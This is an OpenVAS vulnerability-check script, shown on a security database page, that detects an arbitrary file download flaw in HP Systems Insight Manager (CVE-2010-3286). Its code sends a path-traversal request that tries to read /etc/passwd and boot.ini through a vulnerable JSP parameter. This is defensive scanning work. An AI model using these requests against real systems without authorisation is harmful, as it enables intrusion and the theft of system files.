Lucene search

K
openvasThis script is Copyright (C) 2010 Greenbone Networks GmbHOPENVAS:100873
HistoryOct 28, 2010 - 12:00 a.m.

HP Systems Insight Manager Arbitrary File Download Vulnerability

2010-10-2800:00:00
This script is Copyright (C) 2010 Greenbone Networks GmbH
plugins.openvas.org
5

0.002 Low

EPSS

Percentile

59.5%

HP Systems Insight Manager is prone to a vulnerability that lets
attackers download arbitrary files.

Exploiting this issue will allow an attacker to view arbitrary files
within the context of the application. Information harvested may aid
in launching further attacks.

The issue affects HP Systems Insight Manager versions 6.0 and 6.1.

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_hp_sim_44098.nasl 5306 2017-02-16 09:00:16Z teissa $
#
# HP Systems Insight Manager Arbitrary File Download Vulnerability
#
# Authors:
# Michael Meyer <[email protected]>
#
# Copyright:
# Copyright (c) 2010 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_summary = "HP Systems Insight Manager is prone to a vulnerability that lets
attackers download arbitrary files.

Exploiting this issue will allow an attacker to view arbitrary files
within the context of the application. Information harvested may aid
in launching further attacks.

The issue affects HP Systems Insight Manager versions 6.0 and 6.1.";

tag_solution = "Vendor updates are available. Please see the references for more
information.";

if (description)
{
 script_id(100873);
 script_version("$Revision: 5306 $");
 script_tag(name:"last_modification", value:"$Date: 2017-02-16 10:00:16 +0100 (Thu, 16 Feb 2017) $");
 script_tag(name:"creation_date", value:"2010-10-28 13:41:07 +0200 (Thu, 28 Oct 2010)");
 script_bugtraq_id(44098);
 script_tag(name:"cvss_base", value:"5.0");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_cve_id("CVE-2010-3286");

 script_name("HP Systems Insight Manager Arbitrary File Download Vulnerability");

 script_xref(name : "URL" , value : "https://www.securityfocus.com/bid/44098");
 script_xref(name : "URL" , value : "http://www13.itrc.hp.com/service/cki/docDisplay.do?docId=emr_na-c02548231");
 script_xref(name : "URL" , value : "http://h18000.www1.hp.com/products/servers/management/hpsim/index.html");

 script_tag(name:"qod_type", value:"remote_vul");
 script_category(ACT_ATTACK);
 script_family("Web application abuses");
 script_copyright("This script is Copyright (C) 2010 Greenbone Networks GmbH");
 script_dependencies("find_service.nasl", "http_version.nasl");
 script_require_ports("Services/www", 5000);
 script_exclude_keys("Settings/disable_cgi_scanning");
 script_tag(name : "solution" , value : tag_solution);
 script_tag(name : "summary" , value : tag_summary);
 exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("global_settings.inc");
   
port = get_http_port(default:5000);
if(!get_port_state(port))exit(0);

soc = http_open_socket(port);
if(!soc) exit(0);
http_close_socket(soc);

files = make_array("root:.*:0:[01]:","/etc/passwd","\[boot loader\]","..\\..\\..\\..\\..\\..\\..\\boot.ini");

if(http_vuln_check(port:port, url:"/", pattern:"HP Systems Insight Manager")) {
   
  foreach file (keys(files)) {

    soc = http_open_socket(port);
    if(!soc)exit(0);
    req = string("HEAD /mxportal/taskandjob/switchFWInstallStatus.jsp?logfile=",files[file]," HTTP/1.0\r\n\r\n");
    send(socket:soc, data: req);
    r = http_recv(socket:soc);
    http_close_socket(soc);

    if(r == NULL)continue;
    if(egrep(pattern:file, string:r)) {

      security_message(port:port);
      exit(0);

    }  
  }
}

exit(0);

0.002 Low

EPSS

Percentile

59.5%